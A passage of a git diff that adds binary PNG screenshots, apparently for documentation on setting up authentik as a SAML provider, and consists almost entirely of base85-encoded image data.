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 literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-08-review.png b/enterprise/integrations/saml-providers/images/authentik-08-review.png new file mode 100644 index 0000000000000000000000000000000000000000..5e44f8d7a02dcf1a1170268578eef60a051e4993 GIT binary patch literal 79935 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 